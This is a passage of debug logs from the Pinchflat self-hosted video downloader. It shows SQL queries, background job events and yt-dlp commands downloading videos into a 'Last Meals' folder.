s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:22.392 [debug] Replied in 2ms 21:06:22.397 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "G6zWu4JyMZ-4rnfbXsfDcc46", "media_state" => "pending"} 21:06:22.398 [debug] QUERY OK source="media_items" db=0.6ms idle=220.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:06:22.399 [debug] QUERY OK source="media_items" db=1.1ms idle=221.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:22.400 [debug] QUERY OK source="sources" db=0.3ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:22.400 [debug] Replied in 3ms 21:06:22.403 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "G6zWu4JyMZ-4rnfbXsfDcc46"} 21:06:22.404 [debug] QUERY OK source="tasks" db=0.5ms idle=12.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:06:22.405 [debug] QUERY OK source="media_items" db=0.3ms idle=12.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [16, 17] 21:06:22.405 [debug] Replied in 1ms 21:06:22.406 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "G6zWu4JyMZ-4rnfbXsfDcc46"} 21:06:22.406 [debug] Replied in 26µs 21:06:28.629 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:58.631 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.579 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:28.633 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:32.565 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/55/2f/552fc3cb9ed74b9a11934dbd768ffb37626d336f6f658dc48a8d3286df195664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:07:32.574 [debug] Running yt-dlp command for action: download_thumbnail 21:07:32.575 [debug] QUERY OK source="settings" db=0.0ms idle=517.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:32.575 [debug] QUERY OK source="settings" db=0.0ms idle=517.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:32.575 [debug] QUERY OK source="settings" db=0.0ms idle=517.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:32.575 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/16/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d7/31/d731b6a12e96c154f777674a3d1df0d23afe8fe3c74443bee6b6834899be245a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:07:35.243 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/16/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d7/31/d731b6a12e96c154f777674a3d1df0d23afe8fe3c74443bee6b6834899be245a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:07:35.243 [debug] QUERY OK db=0.0ms idle=1185.5ms begin [] 21:07:35.243 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:07:32Z], "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", ~U[2026-03-28 01:07:35Z], 16] 21:07:35.244 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/16/metadata.json.gz", "/config/metadata/media_items/16/thumbnail.jpg", 16, ~U[2026-03-28 01:07:35Z], ~U[2026-03-28 01:07:35Z]] 21:07:35.244 [debug] QUERY OK db=0.1ms commit [] 21:07:35.245 [debug] QUERY OK source="media_items" db=0.5ms idle=1187.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [742344920, ~U[2026-03-28 01:07:35Z], 16] 21:07:35.245 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:07:35.245 [info] {"args":{"id":16},"id":19,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":207188636,"event":"job:stop","queue_time":1014056429,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:07:35.251 [info] {"args":{"id":18},"id":21,"meta":{},"system_time":1774660055251735899,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:07:35.251 [debug] QUERY OK source="media_items" db=0.0ms idle=133.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [18] 21:07:35.251 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:07:35.252 [debug] QUERY OK source="sources" db=0.1ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:07:35.252 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:07:35.252 [debug] QUERY OK source="media_items" db=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 21:07:35.253 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [18] 21:07:35.253 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:07:35.253 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:35.253 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:35.254 [debug] Running yt-dlp command for action: get_downloadable_status 21:07:35.254 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:35.254 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:35.254 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:35.254 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b2/d6/b2d674e3714114e62d68fe2dc0ce775226dfc562de0bde22fb7b79b6582c19bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:07:37.466 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b2/d6/b2d674e3714114e62d68fe2dc0ce775226dfc562de0bde22fb7b79b6582c19bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:07:37.466 [debug] Running yt-dlp command for action: download 21:07:37.466 [debug] QUERY OK source="settings" db=0.1ms idle=409.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:37.466 [debug] QUERY OK source="settings" db=0.0ms idle=409.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:37.467 [debug] QUERY OK source="settings" db=0.1ms idle=409.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:37.467 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=T0sfBmVMT_Q --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a0/75/a075a6029d6bca597857830b7d8a84a3055f22afeccdde2af60fd88c5f89e8f8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:07:58.634 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.580 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:28.636 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:35.223 [info] GET / 21:08:35.223 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:08:35.224 [debug] QUERY OK source="settings" db=0.2ms idle=1166.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:35.224 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1166.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:08:35.224 [debug] QUERY OK source="sources" db=0.2ms idle=1167.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:08:35.225 [debug] QUERY OK source="media_items" db=0.2ms idle=993.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:08:35.225 [debug] QUERY OK source="media_items" db=0.0ms idle=167.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:08:35.225 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:35.225 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:35.226 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:35.227 [debug] QUERY OK source="tasks" db=0.2ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:08:35.228 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [17, 18] 21:08:35.229 [debug] QUERY OK source="media_items" db=0.0ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:08:35.230 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:08:35.230 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:08:35.232 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:08:35.233 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:08:35.233 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 